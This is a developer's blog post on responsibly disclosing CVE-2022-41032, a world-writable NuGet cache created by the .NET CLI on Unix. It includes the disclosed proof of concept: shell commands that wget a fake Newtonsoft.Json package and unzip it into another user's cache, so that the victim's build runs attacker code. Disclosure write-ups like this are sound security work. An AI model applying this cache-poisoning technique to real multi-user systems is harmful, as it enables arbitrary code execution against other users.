My first CVE (CVE 2022-41032)

September 8, 2023

Before I started my new job at Vercel in 2022, I took a week off after leaving my job at GitHub. I was intending to spend some time working on one of my too-numerous side projects -- in particular, a .NET Core app that uses libgit2. Instead, I found my first1 CVE2 (CVE 2022-41032).

Background: I'm a Mac user, and I have been for the last twenty years or so. Before that, I primarily used Linux. I've not used a Microsoft operating system as my daily driver since Windows 3.1 was a thing. But I'm also a big fan of .NET. I worked on a version control system written in .NET when it was still in beta, and I've enjoyed the way that the language has matured and the way that .NET Core has become a cross platform toolchain.

Despite that, there are often some oddities when using .NET on macOS and Linux. Usually I just blast them out on Twitter X and some kind product manager is nice enough to debug it with me.

But this time I noticed a really odd oddity. When I went to restore my nuget packages... I was left with a world-writable folder in my home directory. Now, that's clearly bad. But just how bad is it? Can we exploit this? Turns out... yes!

A different user on that machine can poison that cache and use that as a privilege escalation attack. Here's the write-up that I responsibly disclosed to the Microsoft Security Response Center.


Summary

The dotnet add package and dotnet restore commands ignore a user's umask and create a cache directory that is world writable on Unix systems, allowing other unprivileged users or processes on the system to write new files - both package version lists and a nupkg for an individual version.

When a victim does go to use that package via dotnet add package or dotnet restore, dotnet will use the attacker's version list and nupkg. dotnet add package and dotnet restore trust the cache and do not validate the package against the NuGet registry.

This allows the attacker to poison the victim's nuget cache and provide their own versions of packages that the victim has not yet installed. The victim is subject to arbitrary code execution if they restore, build and run a project that uses these poisoned nuget packages.

Prerequisites

A Unix workstation that is configured to have world-searchable home directories for new users (mode 0751). This is not particularly uncommon, and is the default on Ubuntu 18.04 LTS, for example.

Steps

Part one: set up two user accounts.

As the system administrator (root):

  1. Add a new user account (adduser victim) and accept the defaults
  2. Add another new user account (adduser attacker) and accept the defaults

Part two: the victim starts using .NET

On the victim account, let's create a simple project.

  1. Ensure that umask is set to something reasonable (eg 022)

  2. Install .NET SDK 6.0 (download and extract dotnet-sdk-6.0.300-linux-x64.tar.gz and put dotnet in your PATH)

  3. Create a trivial project and install some nuget package.

    mkdir proj
    cd proj
    dotnet new console
    dotnet add package System.Collections.Immutable
    
  4. Notice that the created NuGet cache directory ~/.local/share/NuGet/v3-cache/ 670c1461c29885f9aa22c281d8b7da90845b38e4 $ps:_api.nuget.org_v3_index.json and any intermediate directories that were created by the dotnet add package are mode 0777 (drwxrwxrwx).

Part three: an attacker poisons the cache

On the attacker account, let's poison the victim's cache with a package that has some similar signatures to a popular NuGet package. This package is https://github.com/ethomson/fuzzy-octo-enigma which is a simple project that has a limited subset of class/method signatures in common with Newtonsoft.Json 13.0.1.

The project at https://github.com/ethomson/fuzzy-octo-enigma was packaged via dotnet pack and then hand-edited to change the name and version to Newtonsoft.Json 13.0.1.

  1. Download the attacker nuget package and extract it into the victim's cache

    wget -O /tmp/not_really_newtonsoft_json.zip https://github.com/ethomson/fuzzy-octo-enigma/files/8882363/not_really_newtonsoft_json.zip
    cd /home/victim/.local/share/NuGet/v3-cache/670c1461c29885f9aa22c281d8b7da90845b38e4$ps:_api.nuget.org_v3_index.json
    unzip /tmp/not_really_newtonsoft_json.zip
    

Part four: the victim uses the poisoned cache

On the victim account, let's see what happens when we create a new project that tries to use Newtonsoft.Json:

  1. Create a .NET project that uses Newtonsoft.Json:

    mkdir JsonConsumer
    cd JsonConsume
    dotnet new console
    dotnet add package Newtonsoft.Json --version 13.0.1
    
    cat << EOF > Program.cs
    using Newtonsoft.Json;
    
    public class Thing
    {
        public string Name { get; set; }
        public string Description { get; set; }
    }
    
    class Program
    {
        public static void Main(string[] args)
        {
            var thing = new Thing { Name = "Thing", Description = "Something." };
    
            new JsonSerializer().Serialize(new JsonTextWriter(Console.Out), thing);
        }
    }
    EOF
    
  2. Build and run the project.

    dotnet build
    dotnet run
    

Expected: serialized JSON ({ "Name": "Thing" }). Actual: "Hello, world.".

Notes

This is particularly unexpected because dotnet add package appears to contact api.nuget.org, but our local package in ~/.local/share/NuGet is still preferred.


Afterward

Working with MSRC

My experience with MSRC was positive, which wasn't a surprise to me: I've been on the Microsoft-side of working with them on security issues and they were great partners.

As a reporter, though, they have a website that you can use to provide details. You can see updates as it's being reviewed, fixed, and released. In addition, one of the PMs reached out to me over email to give me some more information about when the fix would land in .NET.

Admittedly, it did take a while from report to fix, but frankly, I expected that. Getting a security issue fixed and released in multiple versions of a product takes time. But during that, there was great communication from MSRC.

I can't wait to find my next .NET security issue! Troll

Footnotes

  1. It may be worth noting that it's the first security bug that I've found and reported that was reported as a CVE. Regrettably, I've been on the other side many times, where I'm responsible for fixing a CVE in one of my projects.

  2. A "CVE" is a "Common Vulnerability and Exposure". In other words, a security bug, but one that is tracked by by the CVE Program at Mitre.